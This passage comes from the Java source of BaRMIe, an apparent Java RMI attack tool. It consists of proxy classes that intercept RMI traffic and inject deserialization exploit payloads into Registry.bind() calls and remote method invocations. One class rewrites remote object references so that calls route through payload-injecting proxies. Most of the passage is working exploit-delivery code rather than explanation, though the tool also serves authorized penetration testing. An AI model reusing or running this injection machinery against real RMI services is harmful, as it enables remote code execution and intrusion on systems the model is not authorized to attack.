createProxySession(Socket clientSock, Socket targetSock) { 47 | return new ProxySession( 48 | new PassThroughProxyThread(clientSock, targetSock), 49 | new PassThroughProxyThread(targetSock, clientSock) 50 | ); 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /src/nb/barmie/net/proxy/ProxySession.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.net.proxy; 2 | 3 | import nb.barmie.net.proxy.thread.ProxyThread; 4 | 5 | /*********************************************************** 6 | * Class representing a proxy session with a proxy thread 7 | * to handle data going from client to target and a proxy 8 | * thread to handle data going from target to client. 9 | * 10 | * Written by Nicky Bloor (@NickstaDB). 11 | **********************************************************/ 12 | public class ProxySession { 13 | /******************* 14 | * Properties 15 | ******************/ 16 | private final ProxyThread _outboundProxyThread; //Proxy thread to handle data going from client to target 17 | private final ProxyThread _inboundProxyThread; //Proxy thread to handle data going from target to client 18 | 19 | /******************* 20 | * Construct the proxy session with the given outbound and inbound proxy 21 | * threads. 22 | * 23 | * @param outThread A ProxyThread instance to handle data from the client to the target. 24 | * @param inThread A ProxyThread instance to handle data from the target to the client. 25 | ******************/ 26 | public ProxySession(ProxyThread outThread, ProxyThread inThread) { 27 | this._outboundProxyThread = outThread; 28 | this._inboundProxyThread = inThread; 29 | } 30 | 31 | /******************* 32 | * Start the outbound and inbound proxy threads. 33 | ******************/ 34 | public void start() { 35 | this._outboundProxyThread.start(); 36 | this._inboundProxyThread.start(); 37 | } 38 | 39 | /******************* 40 | * Shutdown the proxy session gracefully. 41 | ******************/ 42 | public void shutdown() { 43 | this.shutdown(false); 44 | } 45 | 46 | /******************* 47 | * Shutdown the outbound and inbound proxy threads. 48 | * 49 | * @param force Set to true to force immediate shutdown. 50 | ******************/ 51 | public void shutdown(boolean force) { 52 | this._outboundProxyThread.shutdown(force); 53 | this._inboundProxyThread.shutdown(force); 54 | } 55 | 56 | /******************* 57 | * Get the outbound proxy thread. 58 | * 59 | * @return The outbound proxy thread. 60 | ******************/ 61 | public ProxyThread getOutboundProxyThread() { 62 | return this._outboundProxyThread; 63 | } 64 | 65 | /******************* 66 | * Get the inbound proxy thread. 67 | * 68 | * @return The inbound proxy thread. 69 | ******************/ 70 | public ProxyThread getInboundProxyThread() { 71 | return this._inboundProxyThread; 72 | } 73 | } 74 | -------------------------------------------------------------------------------- /src/nb/barmie/net/proxy/RMIBindExploitProxy.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.net.proxy; 2 | 3 | import java.net.InetAddress; 4 | import java.net.Socket; 5 | import nb.barmie.net.proxy.thread.BindPayloadInjectingProxyThread; 6 | import nb.barmie.net.proxy.thread.PassThroughProxyThread; 7 | import nb.barmie.util.ProgramOptions; 8 | 9 | /*********************************************************** 10 | * TCP proxy server used to inject exploit payloads into 11 | * outbound calls to Registry.bind(). 12 | * 13 | * Exploit payloads are injected in place of the string 14 | * which the given object is bound to. 15 | * 16 | * Written by Nicky Bloor (@NickstaDB). 17 | **********************************************************/ 18 | public class RMIBindExploitProxy extends ProxyServer { 19 | /******************* 20 | * Properties 21 | ******************/ 22 | private final byte[] _payload; //The raw bytes of the payload to inject 23 | 24 | /******************* 25 | * Construct the proxy. 26 | * 27 | * @param targetHost The host to forward connections to. 28 | * @param targetPort The port to forward connections to. 29 | * @param options The program options. 30 | * @param payload The exploit payload to inject. 31 | ******************/ 32 | public RMIBindExploitProxy(InetAddress targetHost, int targetPort, ProgramOptions options, byte[] payload) { 33 | //Initialise super class 34 | super(targetHost, targetPort, options); 35 | 36 | //Store the exploit payload 37 | this._payload = payload; 38 | } 39 | 40 | /******************* 41 | * Create a proxy session object that injects the payload into the RMI 42 | * bind() call and allows returned data to pass through. 43 | * 44 | * @param clientSock A Socket for the incoming client connection. 45 | * @param targetSock A Socket connected to the proxy target. 46 | * @return A ProxySession object to handle the connection and data transfer. 47 | ******************/ 48 | protected ProxySession createProxySession(Socket clientSock, Socket targetSock) { 49 | return new ProxySession( 50 | new BindPayloadInjectingProxyThread(clientSock, targetSock, this._payload), 51 | new PassThroughProxyThread(targetSock, clientSock) 52 | ); 53 | } 54 | } 55 | -------------------------------------------------------------------------------- /src/nb/barmie/net/proxy/RMIMethodCallProxy.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.net.proxy; 2 | 3 | import java.net.InetAddress; 4 | import java.net.Socket; 5 | import nb.barmie.net.proxy.thread.MethodCallPayloadInjectingProxyThread; 6 | import nb.barmie.net.proxy.thread.PassThroughProxyThread; 7 | import nb.barmie.util.ProgramOptions; 8 | 9 | /*********************************************************** 10 | * TCP proxy server used to proxy connections to remote 11 | * objects in order to inject deserialization payloads 12 | * into remote method invocation packets. 13 | * 14 | * Written by Nicky Bloor (@NickstaDB). 15 | **********************************************************/ 16 | public class RMIMethodCallProxy extends ProxyServer { 17 | /******************* 18 | * Properties 19 | ******************/ 20 | private final byte[] _payload; //The raw payload bytes to inject into remote method invocation packets 21 | private final byte[] _marker; //The marker bytes to look for and replace in remote method invocation packets 22 | 23 | /******************* 24 | * Construct the proxy. 25 | * 26 | * @param targetHost The host to forward connections to. 27 | * @param targetPort The port to forward connections to. 28 | * @param options The program options. 29 | * @param payload The raw bytes of the deserialization payload that will be injected into proxied method calls. 30 | * @param marker The raw bytes of a marker object that will be replaced with the payload in proxied method calls. 31 | ******************/ 32 | public RMIMethodCallProxy(InetAddress targetHost, int targetPort, ProgramOptions options, byte[] payload, byte[] marker) { 33 | //Initialise super class 34 | super(targetHost, targetPort, options); 35 | 36 | //Store the payload and marker bytes 37 | this._payload = payload; 38 | this._marker = marker; 39 | } 40 | 41 | /******************* 42 | * Create a proxy session object that looks for a given marker in outbound 43 | * remote method invocation packets and replaces it with raw bytes of a 44 | * deserialization payload. 45 | * 46 | * @param clientSock A Socket for the incoming client connection. 47 | * @param targetSock A Socket connected to the proxy target. 48 | * @return A ProxySession object to handle the connection and data transfer. 49 | ******************/ 50 | protected ProxySession createProxySession(Socket clientSock, Socket targetSock) { 51 | return new ProxySession( 52 | new MethodCallPayloadInjectingProxyThread(clientSock, targetSock, this._payload, this._marker), 53 | new PassThroughProxyThread(targetSock, clientSock) 54 | ); 55 | } 56 | } 57 | -------------------------------------------------------------------------------- /src/nb/barmie/net/proxy/RMIObjectProxy.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.net.proxy; 2 | 3 | import nb.barmie.net.proxy.thread.PassThroughProxyThread; 4 | import nb.barmie.net.proxy.thread.ObjectRedirectProxyThread; 5 | import java.net.InetAddress; 6 | import java.net.Socket; 7 | import nb.barmie.util.ProgramOptions; 8 | 9 | /*********************************************************** 10 | * TCP proxy server class which proxies an RMI registry 11 | * connection in order to alter remote object references 12 | * to point at another proxy server which proxies remote 13 | * method invocations. 14 | * 15 | * This class is used to support injection of 16 | * deserialization payloads at the network level. 17 | * 18 | * Written by Nicky Bloor (@NickstaDB). 19 | **********************************************************/ 20 | public class RMIObjectProxy extends ProxyServer { 21 | /******************* 22 | * Properties 23 | ******************/ 24 | private final byte[] _payload; //The raw bytes of the deserialization payload to use 25 | private final byte[] _marker; //The raw bytes of the marker which is to be replaced with the payload in outbound method invocations 26 | 27 | /******************* 28 | * Construct the proxy. 29 | * 30 | * @param targetHost The host to forward connections to. 31 | * @param targetPort The port to forward connections to. 32 | * @param options The program options. 33 | * @param payload The raw bytes of the deserialization payload that will be injected into proxied method calls. 34 | * @param marker The raw bytes of a marker object that will be replaced with the payload in proxied method calls. 35 | ******************/ 36 | public RMIObjectProxy(InetAddress targetHost, int targetPort, ProgramOptions options, byte[] payload, byte[] marker) { 37 | //Initialise super class 38 | super(targetHost, targetPort, options); 39 | 40 | //Store the payload and marker bytes 41 | this._payload = payload; 42 | this._marker = marker; 43 | } 44 | 45 | /******************* 46 | * Create a proxy session object that redirects returned remote object 47 | * references through an RMIMethodCallProxy. 48 | * 49 | * @param clientSock A Socket for the incoming client connection. 50 | * @param targetSock A Socket connected to the proxy target. 51 | * @return A ProxySession object to handle the connection and data transfer. 52 | ******************/ 53 | protected ProxySession createProxySession(Socket clientSock, Socket targetSock) { 54 | return new ProxySession( 55 | new PassThroughProxyThread(clientSock, targetSock), 56 | new ObjectRedirectProxyThread(targetSock, clientSock, this._options, this._payload, this._marker) 57 | ); 58 | } 59 | } 60 | -------------------------------------------------------------------------------- /src/nb/barmie/net/proxy/RMIObjectUIDFixingProxy.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.net.proxy; 2 | 3 | import java.net.InetAddress; 4 | import java.net.Socket; 5 | import nb.barmie.net.proxy.thread.PassThroughProxyThread; 6 | import nb.barmie.net.proxy.thread.UIDFixingProxyThread; 7 | import nb.barmie.util.ProgramOptions; 8 | 9 | /*********************************************************** 10 | * TCP proxy server used to modify the serialVersionUID of 11 | * classes returned by an RMI registry so that they match 12 | * those of corresponding local classes. 13 | * 14 | * This is used to enable support for additional versions 15 | * of RMI software without having to re-build BaRMIe to 16 | * use the appropriate serialVersionUID value(s). 17 | * 18 | * Written by Nicky Bloor (@NickstaDB). 19 | **********************************************************/ 20 | public class RMIObjectUIDFixingProxy extends ProxyServer { 21 | /******************* 22 | * Construct the proxy. 23 | * 24 | * @param targetHost The host to forward connections to. 25 | * @param targetPort The port to forward connections to. 26 | * @param options The program options. 27 | ******************/ 28 | public RMIObjectUIDFixingProxy(InetAddress targetHost, int targetPort, ProgramOptions options) { 29 | //Initialise super class 30 | super(targetHost, targetPort, options); 31 | } 32 | 33 | /******************* 34 | * Create a proxy session object which allows outbound requests to pass 35 | * through, but modifies the serialVersionUID values found within inbound 36 | * object references. 37 | * 38 | * @param clientSock A Socket for the incoming client connection. 39 | * @param targetSock A Socket connected to the proxy target. 40 | * @return A ProxySession object to handle the connection and data transfer. 41 | ******************/ 42 | protected ProxySession createProxySession(Socket clientSock, Socket targetSock) { 43 | return new ProxySession( 44 | new PassThroughProxyThread(clientSock, targetSock), 45 | new UIDFixingProxyThread(targetSock, clientSock) 46 | ); 47 | } 48 | } 49 | -------------------------------------------------------------------------------- /src/nb/barmie/net/proxy/RMIReturnDataCapturingProxy.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.net.proxy; 2 | 3 | import nb.barmie.net.proxy.thread.ReplyDataCapturingProxyThread; 4 | import nb.barmie.net.proxy.thread.PassThroughProxyThread; 5 | import java.net.InetAddress; 6 | import java.net.Socket; 7 | import java.util.ArrayList; 8 | import nb.barmie.util.ProgramOptions; 9 | 10 | /*********************************************************** 11 | * TCP proxy used to handle connections to RMI registry 12 | * services and capture the contents of ReturnData packets 13 | * which can then be parsed to extract details of objects 14 | * that are exposed through the registry. 15 | * 16 | * Written by Nicky Bloor (@NickstaDB). 17 | **********************************************************/ 18 | public class RMIReturnDataCapturingProxy extends ProxyServer { 19 | /******************* 20 | * Properties 21 | ******************/ 22 | private volatile boolean _reconnectOccurred; //Flag indicating whether a reconnect has occurred to the RMI proxy 23 | 24 | /******************* 25 | * Construct the proxy. 26 | * 27 | * @param targetHost The host to forward connections to. 28 | * @param targetPort The port to forward connections to. 29 | * @param options The program options. 30 | ******************/ 31 | public RMIReturnDataCapturingProxy(InetAddress targetHost, int targetPort, ProgramOptions options) { 32 | //Initialise super class 33 | super(targetHost, targetPort, options); 34 | 35 | //Clear the reconnect flag 36 | this._reconnectOccurred = false; 37 | } 38 | 39 | /******************* 40 | * Create a proxy session object to capture RMI Reply Data packets coming 41 | * back from the target. 42 | * 43 | * Additionally - the RMI connection might timeout and reconnect in some 44 | * cases, so if there's an existing proxy session then we shut it down and 45 | * set a flag indicating that a reconnect has occurred so that the user of 46 | * this proxy can retry the previous operation. 47 | * 48 | * @param clientSock A Socket for the incoming client connection. 49 | * @param targetSock A Socket connected to the proxy target. 50 | * @return A ProxySession object to handle the connection and data transfer. 51 | ******************/ 52 | protected ProxySession createProxySession(Socket clientSock, Socket targetSock) { 53 | //If there's an active session then a reconnect occurred 54 | if(this._proxySessions.size() == 1) { 55 | //Shutdown the old session 56 | this._proxySessions.get(0).shutdown(); 57 | this._proxySessions.remove(0); 58 | 59 | //Set the reconnect flag 60 | this._reconnectOccurred = true; 61 | } 62 | 63 | //Create and return a new proxy session that passes outbound data through and captures reply data 64 | return new ProxySession( 65 | new PassThroughProxyThread(clientSock, targetSock), 66 | new ReplyDataCapturingProxyThread(targetSock, clientSock) 67 | ); 68 | } 69 | 70 | /******************* 71 | * Reset the inbound data buffer on the active proxy session. 72 | ******************/ 73 | public void resetDataBuffer() { 74 | if(this._proxySessions.size() == 1) { 75 | ((ReplyDataCapturingProxyThread)this._proxySessions.get(0).getInboundProxyThread()).resetDataBuffer(); 76 | } 77 | } 78 | 79 | /******************* 80 | * Get the inbound data buffer from the active proxy session. 81 | * 82 | * @return An ArrayList of Bytes representing the buffered data, or null if there isn't an active proxy session. 83 | ******************/ 84 | public ArrayList getDataBuffer() { 85 | if(this._proxySessions.size() == 1) { 86 | return ((ReplyDataCapturingProxyThread)this._proxySessions.get(0).getInboundProxyThread()).getDataBuffer(); 87 | } else { 88 | return null; 89 | } 90 | } 91 | 92 | /******************* 93 | * Check if Java reconnected to the RMI registry proxy. 94 | * 95 | * @return True if a reconnect occurred. 96 | ******************/ 97 | public boolean didReconnect() { 98 | return this._reconnectOccurred; 99 | } 100 | 101 | /******************* 102 | * Reset the reconnection flag. 103 | ******************/ 104 | public void resetReconnectFlag() { 105 | this._reconnectOccurred = false; 106 | } 107 | } 108 | -------------------------------------------------------------------------------- /src/nb/barmie/net/proxy/thread/BindPayloadInjectingProxyThread.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.net.proxy.thread; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.net.Socket; 5 | import nb.barmie.util.ProgramOptions; 6 | 7 | /*********************************************************** 8 | * A proxy thread class that inserts a payload object into 9 | * an outbound Registry.bind() call. 10 | * 11 | * The payload is injected in place of the first (string) 12 | * parameter to Registry.bind(). 13 | * 14 | * Written by Nicky Bloor (@NickstaDB). 15 | **********************************************************/ 16 | public class BindPayloadInjectingProxyThread extends ProxyThread { 17 | /******************* 18 | * Properties 19 | ******************/ 20 | private final byte[] _payload; //The payload to pass to the RMI registry 21 | 22 | /******************* 23 | * Construct the proxy thread. 24 | * 25 | * @param srcSocket The source socket. 26 | * @param dstSocket The destination socket. 27 | * @param payload The exploit payload to use. 28 | ******************/ 29 | public BindPayloadInjectingProxyThread(Socket srcSocket, Socket dstSocket, byte[] payload) { 30 | super(srcSocket, dstSocket); 31 | this._payload = payload; 32 | } 33 | 34 | /******************* 35 | * Check for an outgoing method call packet and inject the payload bytes 36 | * into it. 37 | * 38 | * @param data The data received from the source socket. 39 | * @return The data to write to the destination socket. 40 | ******************/ 41 | public ByteArrayOutputStream handleData(ByteArrayOutputStream data) { 42 | ByteArrayOutputStream out; 43 | int blockLen; 44 | byte[] dataBytes; 45 | 46 | //Get the packet bytes 47 | dataBytes = data.toByteArray(); 48 | 49 | //Check if the packet is an RMI call packet 50 | if(dataBytes.length > 7 && dataBytes[0] == (byte)0x50) { 51 | //Call packets begin with a TC_BLOCKDATA element, get the length of this element 52 | blockLen = (int)(dataBytes[6] & 0xff); 53 | 54 | //Construct a new packet, starting with the contents of the original packet and TC_BLOCKDATA element 55 | out = new ByteArrayOutputStream(); 56 | out.write(dataBytes, 0, blockLen + 7); 57 | 58 | //Write the payload bytes to the new packet 59 | out.write(this._payload, 0, this._payload.length); 60 | 61 | //Finally write a TC_NULL to the new packet (second parameter to the bind method) 62 | out.write((byte)0x70); 63 | 64 | //Return the new packet to forward on to the server 65 | return out; 66 | } else { 67 | //Return the original data untouched 68 | return data; 69 | } 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /src/nb/barmie/net/proxy/thread/MethodCallPayloadInjectingProxyThread.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.net.proxy.thread; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.net.Socket; 5 | 6 | /*********************************************************** 7 | * A proxy thread class that checks outbound remote method 8 | * invocations for marker bytes and replaces them with the 9 | * bytes of a deserialization payload. 10 | * 11 | * Written by Nicky Bloor (@NickstaDB). 12 | **********************************************************/ 13 | public class MethodCallPayloadInjectingProxyThread extends ProxyThread { 14 | /******************* 15 | * Properties 16 | ******************/ 17 | private final byte[] _payload; //The raw payload bytes to inject into remote method invocation packets 18 | private final byte[] _marker; //The marker bytes to look for and replace in remote method invocation packets 19 | 20 | /******************* 21 | * Construct the proxy thread. 22 | * 23 | * @param srcSocket The source socket. 24 | * @param dstSocket The destination socket. 25 | * @param payload The raw bytes of the deserialization payload that will be injected into proxied method calls. 26 | * @param marker The raw bytes of a marker object that will be replaced with the payload in proxied method calls. 27 | ******************/ 28 | public MethodCallPayloadInjectingProxyThread(Socket srcSocket, Socket dstSocket, byte[] payload, byte[] marker) { 29 | super(srcSocket, dstSocket); 30 | this._payload = payload; 31 | this._marker = marker; 32 | } 33 | 34 | /******************* 35 | * Check the outbound packet for the marker bytes, if found then replace 36 | * them with the payload bytes. 37 | * 38 | * @param data The data received from the source socket. 39 | * @return The data to write to the destination socket. 40 | ******************/ 41 | public ByteArrayOutputStream handleData(ByteArrayOutputStream data) { 42 | ByteArrayOutputStream out; 43 | boolean foundMarker; 44 | byte[] dataBytes; 45 | 46 | //Look for the marker in the packet whilst copying the packet to another output stream 47 | out = new ByteArrayOutputStream(); 48 | dataBytes = data.toByteArray(); 49 | for(int packetOffset = 0; packetOffset < dataBytes.length; ++packetOffset) { 50 | //Check for the marker if there is enough space left in the packet... 51 | if(dataBytes.length - packetOffset >= this._marker.length) { 52 | //Assume that the marker was found, if anything doesn't match this will be set to false 53 | foundMarker = true; 54 | for(int markerOffset = 0; markerOffset < this._marker.length; ++markerOffset) { 55 | if(dataBytes[packetOffset + markerOffset] != this._marker[markerOffset]) { 56 | foundMarker = false; 57 | break; 58 | } 59 | } 60 | 61 | //Check if the marker was found in the outbound packet 62 | if(foundMarker == true) { 63 | //Write the payload bytes out to the output stream 64 | for(int payloadOffset = 0; payloadOffset < this._payload.length; ++payloadOffset) { 65 | out.write((byte)this._payload[payloadOffset]); 66 | } 67 | 68 | //Advance the packet offset beyond the marker bytes so that this loop continues copying the remainder of the outbound method call bytes over 69 | packetOffset += this._marker.length; 70 | } else { 71 | //No marker found, just copy the current byte from input to output 72 | out.write((byte)dataBytes[packetOffset]); 73 | } 74 | } else { 75 | //Not enough space left in the packet, just copy bytes from input to output 76 | out.write((byte)dataBytes[packetOffset]); 77 | } 78 | } 79 | 80 | //Forward the output data 81 | return out; 82 | } 83 | } 84 | -------------------------------------------------------------------------------- /src/nb/barmie/net/proxy/thread/ObjectRedirectProxyThread.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.net.proxy.thread; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.net.InetAddress; 5 | import java.net.Socket; 6 | import java.util.ArrayList; 7 | import nb.barmie.net.proxy.RMIMethodCallProxy; 8 | import nb.barmie.util.ProgramOptions; 9 | 10 | /*********************************************************** 11 | * A proxy thread class that inspects data returned by an 12 | * RMI registry service to identify remote object 13 | * references and redirect them through another proxy that 14 | * injects raw deserialization payloads into remote method 15 | * invocation packets. 16 | * 17 | * Written by Nicky Bloor (@NickstaDB). 18 | **********************************************************/ 19 | public class ObjectRedirectProxyThread extends ProxyThread { 20 | /******************* 21 | * Properties 22 | ******************/ 23 | private final ProgramOptions _options; //Program options (for socket timeouts) 24 | private final byte[] _payload; //The raw payload bytes to inject into remote method invocation packets 25 | private final byte[] _marker; //The marker bytes to look for and replace in remote method invocation packets 26 | private volatile ArrayList _methodProxies; //A list of RMI method call proxies that have been started to handle remote method calls 27 | 28 | /******************* 29 | * Construct the proxy thread. 30 | * 31 | * @param srcSocket The source socket. 32 | * @param dstSocket The destination socket. 33 | * @param options The program options. 34 | * @param payload The raw bytes of the deserialization payload that will be injected into proxied method calls. 35 | * @param marker The raw bytes of a marker object that will be replaced with the payload in proxied method calls. 36 | ******************/ 37 | public ObjectRedirectProxyThread(Socket srcSocket, Socket dstSocket, ProgramOptions options, byte[] payload, byte[] marker) { 38 | super(srcSocket, dstSocket); 39 | this._options = options; 40 | this._payload = payload; 41 | this._marker = marker; 42 | this._methodProxies = new ArrayList(); 43 | } 44 | 45 | /******************* 46 | * Check for remote object references in data returned by an RMI registry 47 | * service and manipulate the references to point at proxies to enable 48 | * remote method calls to be intercepted and manipulated. 49 | * 50 | * Known remote reference patterns: 51 | * TC_BLOCKDATA Block len Str len Type Str len Hostnamee Port 52 | * 0x77 [byte] 0x00 0x0a "UnicastRef" [short] [char*short] [int] 53 | * 54 | * TC_BLOCKDATA Block len Str len Type Byte Str len Hostname Port 55 | * 0x77 [byte] 0x00 0x0b "UnicastRef2" [byte] [short] [char*short] [int] 56 | * 57 | * @param data The data received from the source socket. 58 | * @return The data to write to the destination socket. 59 | ******************/ 60 | public ByteArrayOutputStream handleData(ByteArrayOutputStream data) { 61 | RMIMethodCallProxy proxy; 62 | ByteArrayOutputStream outData = new ByteArrayOutputStream(); 63 | StringBuilder sb; 64 | String refType; 65 | String hostName; 66 | String newHost; 67 | byte[] dataBytes; 68 | int portNumber; 69 | int newPort; 70 | int blockLen; 71 | int hostLen; 72 | int i; 73 | int j; 74 | 75 | //Copy data to the output data, replacing remote object references if found 76 | dataBytes = data.toByteArray(); 77 | for(i = 0; i < dataBytes.length; ++i) { 78 | //Copy the current byte to the output stream 79 | outData.write(dataBytes[i]); 80 | 81 | //Look for remote object references 82 | try { 83 | //Check for TC_BLOCKDATA 84 | if(dataBytes[i] != 0x77) { continue; } 85 | 86 | //Get the block length 87 | blockLen = dataBytes[i + 1]; 88 | 89 | //Offset 2 should be 0x00 90 | if(dataBytes[i + 2] != 0x00) { continue; } 91 | 92 | //Get the reference type name 93 | sb = new StringBuilder(dataBytes[i + 3]); 94 | for(j = 0; j < dataBytes[i + 3]; ++j) { 95 | sb.append((char)dataBytes[i + j + 4]); 96 | } 97 | refType = sb.toString(); 98 | 99 | //Check the reference type and get the host data 100 | if(refType.equals("UnicastRef")) { 101 | //Get the hostname 102 | hostLen = (dataBytes[i + 14] << 8) + dataBytes[i + 15]; 103 | sb = new StringBuilder(hostLen); 104 | for(j = 0; j < hostLen; ++j) { 105 | sb.append((char)dataBytes[i + j + 16]); 106 | } 107 | hostName = sb.toString(); 108 | 109 | //Get the port number 110 | portNumber = (int)((dataBytes[i + hostLen + 16] << 24) & 0xff000000) + 111 | ((dataBytes[i + hostLen + 17] << 16) & 0xff0000) + 112 | ((dataBytes[i + hostLen + 18] << 8) & 0xff00) + 113 | (dataBytes[i + hostLen + 19] & 0xff); 114 | } else if(refType.equals("UnicastRef2")) { 115 | //Get the hostname 116 | hostLen = (dataBytes[i + 16] << 8) + dataBytes[i + 17]; 117 | sb = new StringBuilder(hostLen); 118 | for(j = 0; j < hostLen; ++j) { 119 | sb.append((char)dataBytes[i + j + 18]); 120 | } 121 | hostName = sb.toString(); 122 | 123 | //Get the port number 124 | portNumber = (int)((dataBytes[i + hostLen + 18] << 24) & 0xff000000) + 125 | ((dataBytes[i + hostLen + 19] << 16) & 0xff0000) + 126 | ((dataBytes[i + hostLen + 20] << 8) & 0xff00) + 127 | (dataBytes[i + hostLen + 21] & 0xff); 128 | } else { 129 | //Unknown remote object reference type 130 | continue; 131 | } 132 | 133 | //Attempt to create an RMI method proxy and redirect the remote object through it 134 | try { 135 | //Create and start an RMI method call proxy 136 | proxy = new RMIMethodCallProxy(InetAddress.getByName(hostName), portNumber, this._options, this._payload, this._marker); 137 | proxy.startProxy(); 138 | 139 | //Add proxy to list of method call proxies 140 | this._methodProxies.add(proxy); 141 | 142 | //Get the new host and port for the remote object 143 | newHost = proxy.getServerListenAddress().getHostAddress(); 144 | newPort = proxy.getServerListenPort(); 145 | 146 | //Work out the new block length 147 | blockLen = blockLen + (newHost.length() - hostName.length()); 148 | 149 | //Write the updated remote object reference data out 150 | outData.write((byte)blockLen); //Updated TC_BLOCKDATA length 151 | outData.write((byte)((refType.length() & 0xff00) >> 8)); //Length of reference type string 152 | outData.write((byte)(refType.length() & 0xff)); //Length of reference type string 153 | outData.write(refType.getBytes()); //The reference type string 154 | if(refType.equals("UnicastRef2")) { 155 | outData.write(dataBytes[i + 15]); //The byte between "UnicastRef2" and the length of the host name 156 | } 157 | outData.write((byte)((newHost.length() & 0xff00) >> 8)); //Length of new host name string 158 | outData.write((byte)(newHost.length() & 0xff)); //Length of new host name string 159 | outData.write(newHost.getBytes()); //New host name string 160 | outData.write((byte)((newPort & 0xff000000) >> 24)); //New port 161 | outData.write((byte)((newPort & 0xff0000) >> 16)); //New port 162 | outData.write((byte)((newPort & 0xff00) >> 8)); //New port 163 | outData.write((byte) (newPort & 0xff)); //New port 164 | 165 | //Update i to skip over the data that has just been replaced 166 | i = i + hostName.length() + 19; 167 | if(refType.equals("UnicastRef2")) { 168 | i = i + 2; 169 | } 170 | } catch(Exception ex) { 171 | //Print exception details 172 | System.out.println("[-] An exception occurred whilst starting an RMI method call proxy.\n\t" + ex.toString()); 173 | } 174 | } catch(IndexOutOfBoundsException ex) { 175 | //Out of bound access, probably not a remote object reference, continue 176 | continue; 177 | } 178 | } 179 | 180 | //Return the new data stream 181 | return outData; 182 | } 183 | 184 | /******************* 185 | * Shutdown the proxy thread. 186 | * 187 | * @param force Set to true to force immediate shutdown. 188 | ******************/ 189 | public void handleShutdown(boolean force) { 190 | //Shutdown all RMI method call proxies 191 | for(RMIMethodCallProxy proxy: this._methodProxies) { 192 | proxy.stopProxy(force); 193 | } 194 | this._methodProxies.clear(); 195 | } 196 | } 197 | -------------------------------------------------------------------------------- /src/nb/barmie/net/proxy/thread/PassThroughProxyThread.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.net.proxy.thread; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.net.Socket; 5 | 6 | /*********************************************************** 7 | * A proxy thread that writes received data straight out to 8 | * the destination socket untouched. 9 | * 10 | * Written by Nicky Bloor (@NickstaDB). 11 | **********************************************************/ 12 | public class PassThroughProxyThread extends ProxyThread { 13 | /******************* 14 | * Construct the proxy thread. 15 | * 16 | * @param srcSocket The source socket. 17 | * @param dstSocket The destination socket. 18 | ******************/ 19 | public PassThroughProxyThread(Socket srcSocket, Socket dstSocket) { 20 | super(srcSocket, dstSocket); 21 | } 22 | 23 | /******************* 24 | * Return data untouched. 25 | * 26 | * @param data The data received from the source socket. 27 | * @return The data to write to the destination socket. 28 | ******************/ 29 | public ByteArrayOutputStream handleData(ByteArrayOutputStream data) { 30 | //Return the original data untouched 31 | return data; 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /src/nb/barmie/net/proxy/thread/ProxyThread.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.net.proxy.thread; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.IOException; 5 | import java.io.InputStream; 6 | import java.io.OutputStream; 7 | import java.net.Socket; 8 | 9 | /*********************************************************** 10 | * Abstract base class representing a proxy thread that 11 | * reads from one socket and writes to another. 12 | * 13 | * Written by Nicky Bloor (@NickstaDB). 14 | **********************************************************/ 15 | public abstract class ProxyThread extends Thread { 16 | /******************* 17 | * Constants 18 | ******************/ 19 | private static final int PROXY_THREAD_JOIN_TIMEOUT = 5300; //Time in milliseconds to wait on shutdown for the server thread to terminate 20 | 21 | /******************* 22 | * Properties 23 | ******************/ 24 | protected volatile Socket _sourceSocket; //The source socket to read data from 25 | protected volatile Socket _destSocket; //The destination socket to write data to 26 | protected volatile boolean _shutdown; //Flag indicating that the proxy thread should shutdown 27 | 28 | /******************* 29 | * Construct the proxy thread with a given source and destination socket. 30 | * 31 | * @param srcSocket The source socket to read data from. 32 | * @param dstSocket The destination socket to write data to. 33 | ******************/ 34 | public ProxyThread(Socket srcSocket, Socket dstSocket) { 35 | this._sourceSocket = srcSocket; 36 | this._destSocket = dstSocket; 37 | this._shutdown = false; 38 | } 39 | 40 | /******************* 41 | * The proxy thread function which reads from the source socket, passes the 42 | * data off to be handled, then writes the result to the destination socket. 43 | ******************/ 44 | public void run() { 45 | InputStream inStream; 46 | OutputStream outStream; 47 | ByteArrayOutputStream byteStream; 48 | byte[] readBuffer; 49 | int readLength; 50 | 51 | //Create the byte stream and read buffer 52 | byteStream = new ByteArrayOutputStream(8192); 53 | readBuffer = new byte[8192]; 54 | 55 | //Start the main loop transferring data from the source to the destination 56 | try { 57 | //Get the input/output streams from the sockets 58 | inStream = this._sourceSocket.getInputStream(); 59 | outStream = this._destSocket.getOutputStream(); 60 | 61 | //Loop until shutdown 62 | while(this._shutdown == false) { 63 | //Read from the source socket 64 | readLength = inStream.read(readBuffer, 0, 8192); 65 | if(readLength == -1) { 66 | //Connection closed, break out of the loop 67 | break; 68 | } 69 | 70 | //Reset the byte stream and put the received data into it 71 | byteStream.reset(); 72 | byteStream.write(readBuffer, 0, readLength); 73 | 74 | //Pass the data on to be handled and write the result to the output stream 75 | outStream.write(this.handleData(byteStream).toByteArray()); 76 | } 77 | } catch(IOException ex) { 78 | //Exception occurred, print exception details if it wasn't a closed socket or connection reset 79 | if(ex.getMessage().equals("Socket Closed") == false && ex.getMessage().equals("Connection reset") == false && ex.getMessage().equals("Read timed out") == false) { 80 | //Print the exception 81 | System.out.println("[-] An exception occurred during the " + this.getClass().getSimpleName() + " main loop.\n\t" + ex.toString()); 82 | } 83 | 84 | //Sleep briefly in case the thread is already shutting down 85 | try { Thread.sleep(100); } catch(InterruptedException ie) { return; } 86 | 87 | //Shutdown the proxy thread if it isn't already shutting down 88 | if(this._shutdown == false) { 89 | this.shutdown(); 90 | } 91 | } 92 | } 93 | 94 | /******************* 95 | * Shutdown the proxy thread gracefully. 96 | ******************/ 97 | public final void shutdown() { 98 